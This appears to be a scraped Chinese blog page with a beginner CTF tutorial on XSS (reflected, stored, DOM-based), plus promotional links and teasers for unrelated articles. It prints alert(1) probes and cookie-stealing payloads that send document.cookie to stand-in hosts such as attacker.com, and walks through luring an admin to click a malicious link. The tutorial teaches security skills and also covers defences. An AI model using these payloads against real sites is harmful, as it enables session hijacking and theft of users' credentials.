news 2026/7/1 23:40:56

CTF Web 专项:XSS 跨站脚本攻击快速入门

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF Web 专项:XSS 跨站脚本攻击快速入门

CTF Web 专项:XSS 跨站脚本攻击快速入门

XSS(Cross - Site Scripting,跨站脚本攻击)是 Web 安全领域的核心考点,其本质是攻击者向 Web 页面注入恶意脚本(像 JavaScript 脚本),当用户访问该页面时,脚本会被浏览器执行,进而实现窃取用户信息、控制用户行为等目的。在 CTF(夺旗赛)中,常通过 XSS 来获取 Cookie、伪造操作等以拿到 Flag,下面快速讲解核心要点。

一、XSS 核心原理

Web 应用若未对用户输入(比如评论内容、搜索框输入、URL 参数等)进行过滤或者转义处理,攻击者注入的脚本就会被嵌入到页面的源码里。当其他用户访问这个页面时,浏览器会把恶意脚本当作合法代码来执行,从而达成攻击目的(例如窃取 Cookie、进行弹窗诈骗等)。

二、3 类常见 XSS 类型

(一)反射型 XSS

特点:恶意脚本是通过 URL 参数注入的,页面会 “反射” 执行该脚本,且不会持久存储脚本。

CTF 场景:假设 URL 中包含?name=xxx这样的参数,注入<script>alert(1)</script>,当访问这个 URL 时,脚本就会被执行,弹出警告框。

(二)存储型 XSS

特点:恶意脚本会被存储到服务器(比如数据库、文件等地方),所有访问该页面的用户都会触发这个脚本。

CTF 场景:以留言板功能为例,注入<script>document.location='``http://attacker.com/steal?cookie=``'+document.cookie</script>,当管理员查看留言时,Cookie 就会被发送到攻击者的服务器。

(三)DOM 型 XSS

特点:通过修改页面的 DOM 结构来执行脚本,和服务端交互没有关系,属于纯前端漏洞。

CTF 场景:页面中存在document.write(location.hash.substr(1))这样的代码,构造 URL#<script>alert(1)</script>,脚本会被写入页面并执行。

三、CTF 实战:从注入到拿 Flag

以 “反射型 XSS 拿 Flag(目标:窃取管理员 Cookie,Cookie 中包含 Flag)” 为例:

  1. 构造 payload:编写用于窃取 Cookie 的脚本,例如<script>document.location='``http://your-server.com/steal?cookie=``'+document.cookie</script>
  2. 注入 payload:在 URL 参数(比如?name=<script>...</script>)中注入该脚本,生成恶意链接。
  3. 诱导触发:让管理员点击这个恶意链接(在 CTF 中,常因为 “管理员会查看所有提交内容” 的规则,直接提交链接就可触发)。
  4. 获取 Flag:当管理员访问后,包含Flag{xxx}的 Cookie 会发送到your-server.com,从而拿到 Flag。

四、绕过与防御思路

(一)绕过过滤

如果前端或者服务端过滤了<script>等关键字,可通过以下方式绕过:

(二)防御核心

服务端要对用户输入进行严格的过滤、转义(比如把<转成<),或者前端使用CSP(内容安全策略)来限制脚本的来源。

文章来自网上,侵权请联系博主

互动话题:如果你想学习更多网安方面的知识和工具,可以看看以下题外话!

网络安全学习资源

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/25 16:42:19

运维为什么需要“懂这么多”?

在IT行业流传着一句话&#xff1a;“运维的知识体系像个无底洞&#xff0c;刚填完一个坑&#xff0c;转头又发现三个新坑。”这话道出了无数运维从业者的心声——从服务器上架到集群部署&#xff0c;从日志分析到灾备演练&#xff0c;从网络调优到安全加固&#xff0c;运维工作…

作者头像 李华
网站建设 2026/7/1 21:55:46

绕过WAF:追踪源站IP与SQL注入的艺术

绕过WAF&#xff1a;追踪源站IP与SQL注入的艺术 ****声明&#xff1a;****文章中涉及的程序(方法)可能带有攻击性&#xff0c;仅供安全研究与教学之用&#xff0c;读者将其信息做其他用途&#xff0c;由用户承担全部法律及连带责任&#xff0c;文章作者不承担任何法律及连带责…

作者头像 李华
网站建设 2026/7/1 2:46:30

一个支持暂停和继续的 C++ 时间管理类

前段时间在项目里碰到一个挺常见、但又特别容易写烂的需求&#xff1a; 统计时间。 听起来很简单&#xff0c;但一旦加上这几个条件&#xff0c;事情立刻变复杂&#xff1a; 有一个总时间总时间由多个分段组成每个分段过程中可以暂停、恢复&#xff0c;而且可能不止一次暂停期间…

作者头像 李华
网站建设 2026/7/1 9:41:20

SpringBoot一键集成GrayLog,那叫一个丝滑

在微服务架构中&#xff0c;一个服务通常都会有多个实例&#xff0c;而这些服务实例可能会被部署到不同的机器或虚拟容器上。此时对于日志数据的查看和分析就会变得困难起来&#xff0c;因为这些服务的日志数据都散落在各自实例所在的机器或容器上。例如&#xff0c;我现在要在…

作者头像 李华